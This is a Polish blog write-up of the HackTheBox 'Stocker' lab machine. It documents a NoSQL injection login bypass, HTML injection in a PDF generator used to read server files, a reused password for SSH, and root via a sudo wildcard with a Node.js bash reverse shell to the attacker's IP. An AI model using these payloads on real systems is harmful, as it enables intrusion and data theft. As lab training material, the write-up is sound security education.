Blog | Ravr

[PL] HackTheBox - Stocker

htb

June 25, 2023

HTB machine logo

Stocker


HTB

Os
Linux
Trudność
Łatwa
Premiera
January 14, 2023
Punkty
20

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Rekonesans

Nmap

Zaczynamy niezmiennie od przeskanowania maszyny narzędziem nmap. Znajduje on dwa otwarte porty:

  • 22 (SSH)
  • 80 (HTTP)
rvr@rvr$ nmap -p- -o nmap.all-ports.out 10.10.11.196 
# Nmap 7.92 scan initiated Fri Jun 23 18:35:50 2023 as: nmap -p- -o nmap.all-ports.out 10.10.11.196
Nmap scan report for 10.10.11.196
Host is up (0.061s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

rvr@rvr$ nmap -p22,80 -sCV -o nmap.out 10.10.11.196
# Nmap 7.92 scan initiated Fri Jun 23 19:42:41 2023 as: nmap -p22,80 -sCV -o nmap.out 10.10.11.196
Nmap scan report for 10.10.11.196
Host is up (0.065s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
|   256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_  256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Na port 22 nie będziemy poświęcać zbyt dużo czasu. OpenSSH jest bardzo dojrzałym projektem - krytyczne podatności pozwalające na dostanie się do systemu bez danych uwierzytelniających występują tu niezwykle rzadko. Tak jest i teraz, baza danych podatności dla OpenSSH w wersji 8.2p1 nie zawiera nic, co mogłyby się przydać w exploitacji. Przejdźmy więc do portu 80, gdzie kryje się serwer nginx.

TCP 80 (HTTP) - stocker.htb

Po przejściu pod IP maszyny zostajemy od razu przekierowani do domeny http://stocker.htb. Wprawne oko mogło zauważyć to już wcześniej na skanie z narzędzia nmap. Jak zawsze, dodajemy tę domenę do pliku /etc/hosts by móc odwołać się do maszyny po nazwie domenowej.

stocker.htb - strona główna

Wszystkie linki na stronie są puste i nie prowadzą do żadnej nowej podstrony. Jedyną potencjalnie przydatną informacją może być sekcja What our fantastic staff say, gdzie widzimy wypowiedź lidera IT w Stockers - Angoosa Gardena:

stocker.htb - Angoose Garden

Z pewnym prawdopodobieństwem możemy założyć, że użytkownik ten posiada jakieś konto w systemie. Ale nawet gdybyśmy mieli rację, to i tak nie wiemy, jaki jest jego właściwy login. Może to angoose, może garden lub agarden albo jeszcze inny, na który nawet nie jesteśmy w stanie wpaść. Nie wiemy też, gdzie użyć tego loginu - może w SSH, a może w innej usłudze, o której jeszcze nie wiemy? Warto jednak mieć to na uwadze, być może przyda się później.

Technologie

Zajrzyjmy teraz do źródła strony:

stocker.htb - źródło strony

Zauważamy tu jedynie import dwóch bibliotek i niewielki skrypt, które odpowiadają głównie za część wizualną strony - animacje podczas przesuwania jej zawartości czy rozsuwane menu, gdy rozdzielczość ekranu jest niewielka. Nic szczególnego.

Jak wiemy z poprzednio opisywanej przeze mnie maszyny, zawsze warto przyjrzeć się też nagłówkom HTTP, które zwraca serwer - wyglądają jednak :

stocker.htb - burp

Ffuf

Czas na bruteforce zasobów. Tym razem pominiemy narzędzie gobuster i wykorzystamy jedynie ffufa. Wszystkie niezbędne flagi potrzebne do jego działania opisywałem w poprzednim poście, dlatego tym razem wrzucam jedynie wynik:

rvr@rvr$ ffuf -u http://stocker.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -o ffuf.dir.out -mc all -fs 162

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://stocker.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
 :: Output file      : ffuf.dir.out
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 162
________________________________________________

js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 58ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 57ms]
img                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 59ms]
.                       [Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 56ms]
fonts                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 56ms]
:: Progress: [43003/43003] :: Job [1/1] :: 697 req/sec :: Duration: [0:01:03] :: Errors: 0 ::

Znalezione ścieżki ponownie nie wyglądają na interesujące. Ot, to tylko foldery, w których przechowywane są elementy wykorzystane na stronie: cssy, skrypty js, obrazki czy użyte czcionki. Nic, co powinno przykuć naszą uwagę. Moglibyśmy zmienić nasz słownik na inny, ale dopóki nie wyczerpaliśmy wszystkich opcji, nie będziemy tego robić.

Zbrutforcujmy teraz subdomeny:

rvr@rvr$ ffuf -u http://stocker.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host: FUZZ.stocker.htb' -mc all -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://stocker.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.stocker.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 178
________________________________________________

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 67ms]
:: Progress: [19966/19966] :: Job [1/1] :: 680 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

Ffuf bardzo szybko odnajduje: dev. Dodajmy więc dev.stocker.htb do pliku /etc/hosts i przejdzmy do http://dev.stocker.htb

TCP 80 (HTTP) - dev.stocker.htb

Od razu zostajemy przekierowani do strony logowania:

dev.stocker.htb - login

Podgląd nagłówków w burpie odsłania informację X-Powered-By: Express. Jest to framework Nodejs, który odpowiada m.in. za obsługę żądań. Zanotujmy to sobie.

dev.stocker.htb - login - burp

Shell jako angoose

Panel logowania

Skupmy się teraz na logowaniu. Wprowadzenie popularnych, bardzo często domyślnych par login-hasło, jak: admin:admin, admin:password, czy mniej oczywistych, lecz zasadnych w kontekście tej maszyny: angoose:angoose, angoose:admin, angoose:password itp. nie przyniosło oczekiwanego rezultatu - za każdym razem odbijamy się od serwera uzyskując odpowiedź Invalid username or password.

dev.stocker.htb - invalid login

Sql Injection? Nie tym razem!

W takim razie czas na jakieś wstrzyknięcie! Zacznijmy od SQL Injection, gdyż wydaje się to najbardziej oczywistym krokiem, kiedy mamy do czynienia z panelem logowania. Najlepiej od razu przenieść się do burpa by było to łatwiejsze. Testy kilku najpopularniejszych payloadów ' or 1=1-- , " or 1=1-- itd. nie przyniosły żadnego rezultatu - uzyskujemy login-error w burpie, co jest tożsame z Invalid username or password, które widzieliśmy wcześniej w przeglądarce:

dev.stocker.htb - sqlinjection payloads

Co teraz? Mamy kilka opcji. Moglibyśmy wykorzystać sqlmapa - być może coś przeoczyliśmy, a podatność sql injection dalej gdzieś tam jest. Możemy też brutforcować zasoby http://dev.stocker.htb przy pomocy ffufa czy gobustera z nadzieją na znalezienie czegoś nie wymagającego uwierzytelnienia. Moglibyśmy również brutforcować dane logowania wykorzystując swój własny słownik. Znamy przecież potencjalnego użytkownika systemu jakim jest Angoose Garden, moglibyśmy więc użyć narzędzia username anarchy lub innego podobnego, które wygenerowałoby nam różne loginy na bazie podanego imienia i nazwiska. Pozostałaby jeszcze kwestia nieznajomości hasła - tu też musielibyć wykorzystać jakiś słownik. Opcja ta jest jednak mało popularna w przypadku HackTheBox (i całe szczęście!), dlatego mało prawdopodobne, że jest to odpowiednia droga.

NoSql Injection

Spróbujmy podejść do problemu jednak trochę inaczej wykorzystując zebrane wcześniej informacje. Wiemy, że dev.stocker.htb zbudowany jest na bazie Nodejs i frameworka Express. Aplikacje dla Nodejs pisze się najczęściej w JavaScripcie. JavaScript świetnie rozumie JSONa, który zresztą bazuje na jego składni. Dlatego też aplikacje pisane dla Nodejs bardzo często odbierają dane od klienta właśnie w postaci JSON. Ale w jaki sposób informacja ta przyda się nam? Otóż, jeśli te rozważania okażą się prawdziwe, otworzą nam drogę na nowe podatności.

Zmieńmy więc nagłówek Content-Type żądania logowania z aktualnego application/x-www-form-urlencoded na application/json, jednocześnie zmieniając również format przesyłanych danych:

dev.stocker.htb - json

Otrzymujemy tę samą odpowiedź co wcześniej. Nadal nie wiemy zatem, czy zmiana ta coś nam dała. Jednym ze sposobów, aby to sprawdzić jest przesłanie niepoprawnego składniowo JSONa licząc, że aplikacja się wysypie zwracając nam komunikat błędu:

dev.stocker.htb - invalid json

Tak też się dzieje. W odpowiedzi widzimy, że aplikacja nie mogła odpowiednio przeparsować przekazanego jej JSONa. Mamy więc pewność, że format ten rzeczywiście jest przez nią rozumiany. Dodatkowo, aplikacja “wycieka” także katalog, w którym jest uruchomiona, tj. /var/www/dev.

Zastanówmy się teraz jakiej podatności powinniśmy szukać. Pamiętając, że typowe SQL Injection nie przyniosło pożądanego rezultatu oraz biorąc pod uwagę fakt, że operujemy na JSONach, może w takim razie NoSQL Injection? Sprawdźmy więc najprostszy payload { "username": { "$ne": null }, "password": { "$ne": null } }, który ma za zadanie ominąć logowanie:

dev.stocker.htb - no sql injection

Udało się! Widzimy przekierowanie do /stock, a nie login-error jak wcześniej. Ale co się tutaj wydarzyło? Nasz payload zadziałał następująco: z bazy danych nosql został wybrany pierwszy użytkownik, który posiada zdefiniowane pola username i password (nie jest ważne jakie mają wartości, ważne jest tylko by były fizycznie zdefiniowane - operator $ne: null oznacza tu po prostu różne od null). A skoro użytkownik został znaleziony, logowanie zakończyło się sukcesem.

Enumeracja sklepu

Mamy ustanowioną sesję, przekopiujmy ją do przeglądarki i przejdźmy do ścieżki /stock. Widzimy prosty sklep internetowy:

dev.stocker.htb - stock

Klikając Add to basket dostajemy informację o dodaniu produktu do koszyka, kliknięcie View cart natomiast wyświetla jego zawartość:

dev.stocker.htb - view cart

Żadne z tych działań nie wywołuje jednak żądania do serwera, wszystko dzieje się po stronie klienta - naszej przeglądarki. Jedynie Submit Purchase rzeczywiście wykonuje żądanie do /api/order, co możemy zaobserwować w burpie:

dev.stocker.htb - submit purchase - burp

Po poprawnym zakupie, dostajemy link http://dev.stocker.htb/api/po/[CIĄG_ZNAKÓW_HEX] do faktury w formacie PDF. Ciąg znaków heksadecymalnych w przytoczonym linku ma oczywiście tę samą wartość, co orderId zwrócony w odpowiedzi na żądanie do /api/order (do zaobserwowania wyżej). Ta wartość jest parsowana przez javascript na stronie i umieszczana w linku do pliku PDF:

dev.stocker.htb - submit purchase

Po otwarciu go dostajemy plik PDF z danymi użytymi we wcześniejszym żądaniu:

dev.stocker.htb - purchase pdf

Metadane pliku pdf

Gdy mamy do czynienia z PDFem utworzonym po stronie serwera, zawsze warto sprawdzić jego metadane. Bardzo często ukryta jest tam informacja o narzędziu użytym do jego wygenerowania:

rvr@rvr$ exiftool document.pdf
ExifTool Version Number         : 12.16
File Name                       : document.pdf
Directory                       : .
File Size                       : 37 KiB
File Modification Date/Time     : 2023:06:24 19:36:46+02:00
File Access Date/Time           : 2023:06:24 19:36:46+02:00
File Inode Change Date/Time     : 2023:06:24 19:36:56+02:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Tagged PDF                      : Yes
Creator                         : Chromium
Producer                        : Skia/PDF m108
Create Date                     : 2023:06:24 17:33:24+00:00
Modify Date                     : 2023:06:24 17:33:24+00:00

W oczy rzuca się Producer: Skia/PDF m108. Szybki przegląd w google nie pokazał jednak istniejących podatności. Ciekawym rekordem jest również Creator: Chromium, co sugeruje, że to właśnie chromium został użyty do stworzenia pdfa. Skoro mamy do czynienia z przeglądarką internetową na jakimś poziomie tego procesu, to może czas na wstrzyknięcie kodu w języku, który najlepiej pasuje do tego rozwiązania? Jest nim oczywiście HTML. Gdyby okazało się, że jest on poprawnie zinterpretowany i wyrenderowany, moglibyśmy wykorzystać go do przeprowadzenia dalszego ataku.

Wstrzyknięcie HTML

Zacznijmy od wstrzyknięcia czegoś prostego i zupełnie nieszkodliwego, tj. kodu <u>Test</u>. W wyniku powinniśmy otrzymać podkreślony tekst Test:

dev.stocker.htb - request - html injection

W odpowiedzi dostajemy plik pdf:

dev.stocker.htb - pdf - html injection

Tak jak oczekiwaliśmy, kod html został poprawnie wyrenderowany!

Odczyt plików serwera

Czas na coś bardziej przydatnego. Wiemy, że pdf generowany jest po stronie serwera, sprawdźmy więc, czy możemy załadować jego lokalne pliki przy pomocy htmlowego iframe. Wczytajmy na przykład plik /etc/passwd, payloadem będzie więc np.<iframe src=file:///etc/passwd height=1000px width=500px>

dev.stocker.htb - request - lfi dev.stocker.htb - pdf - lfi

Działa! Możemy tym samym potwierdzić, że użytkownik angoose rzeczywiście posiada konto w systemie.

Mając LFI postarajmy się odczytać inne ciekawsze pliki, jak /proc/self/cmdline, który pokaże nam w jaki sposób aplikacja została uruchomiona. Niestety próba ta nie powiodła się, iframe w wygenerowanym pdfie jest pusty. Prawdopodobnie aplikacji brakuje niezbędnych uprawnień:

dev.stocker.htb - pdf - /proc/self/cmdline

Co teraz? Może szukać innych plików (np. pliku z konfiguracją nginxa) z nadzieją, że zawierają coś interesującego. Możemy również zastosować podejście nazywane educated guess - bardzo często w aplikacjach plik inicjujący zawiera tę samą, dobrze wszystkim znaną nazwę: w środowisku nodejs plik ten to po prostu index.js (dla php jest to index.php, dla pythona - app.py, itd.). Sprawdźmy więc czy taki plik istnieje, pamiętając, że ścieżka aplikacji zaczyna się od /var/www/dev:

dev.stocker.htb - lfi - index.js - burp

Tak! W odpowiedzi w pliku pdf dostajmy następujący kod źródłowy:

dev.stocker.htb - lfi - index.js

W nim dostrzegamy login i hasło do bazy danych mongodb (oznaczone czerwoną ramką). Okazuje się, że hasło: IHeardPassphrasesArePrettySecure i login angoose pasują do ssh. Możemy się zalgować do systemu i odczytać flagę:

rvr@rvr$ ssh [email protected]
[email protected]'s password: 
Last login: Sun Jun 24 18:25:57 2023 from 10.10.15.2
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
angoose@stocker:~$ ls 
user.txt
angoose@stocker:~$ cat user.txt 
c2a81c295***********************

Shell jako root

Enumeracja

Podstawowa enumeracja w zupełności wystarcza by odnaleźć drogę do eksalacji uprawnień. sudo -l zwraca następujące informacje:

angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

Eskalacja uprawnień

Użytkownik angoose może wykonywać polecenie /usr/bin/node /usr/local/scripts/*.js jako root. Najważniejszym elementem dla nas jest *.js na końcu. Oznacza to, że zamiast * możemy wykorzystać dowolnie inny znak lub ich wielokrotność. Tym samym poprawnym poleceniem akceptowalnym przez sudo będzie zarówno /usr/local/scripts/privesc.js, jak i /usr/local/scripts/../../../../tmp/privesc.js, a to oznacza, że nasz złośliwy plik może mieć nie tylko dowolną nazwę, ale również być wykonany z dowolnego, kontrolowanego przez nas katalogu. Sprawdźmy jednak najpierw uprawnienia katalogu /usr/local/scripts/:

angoose@stocker$ stat /usr/local/scripts
  File: /usr/local/scripts
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 802h/2050d      Inode: 64592       Links: 3
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2023-06-25 02:12:14.953566800 +0000
Modify: 2022-12-06 10:33:06.816440125 +0000
Change: 2022-12-06 10:33:06.816440125 +0000
 Birth: -

Jak widać, nie mamy możliwości zapisu, a więc możliwa jest tylko ta druga opcja - nasz plik musi być w innym folderze, do którego mamy właściwe uprawnienia. Umieśćmy go więc w ogólnodostępnym katalogu /tmp. Jego zawartością będzie reverse shell wykorzystujący moduł child_process z nodejsa, który zawiera metodę wykonującą dowolną komendę systemu operacyjnego. W naszym przypadku będzie to reverse shell w bashu, który połączy się z portem nasłuchującym na naszej maszynie. Stwórzmy więc plik /tmp/privesc.js:

angoose@stocker:/tmp$ cat privesc.js 
require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.15.2/9999 0>&1"')

Stawiamy listener nc -lvnp 9999 na naszym hoście i uruchamiamy plik privesc.js na atakowanej maszynie, tak jak niżej:

angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/privesc.js

Po chwili cieszymy się shellem z pełnymi uprawnieniami roota systemu:

rvr@rvr$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.2] from (UNKNOWN) [10.10.11.196] 44698
root@stocker:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@stocker:/tmp# cat /root/root.txt
cat /root/root.txt
44349d372***********************
© 2023, Code by ravr & powered by Gatsby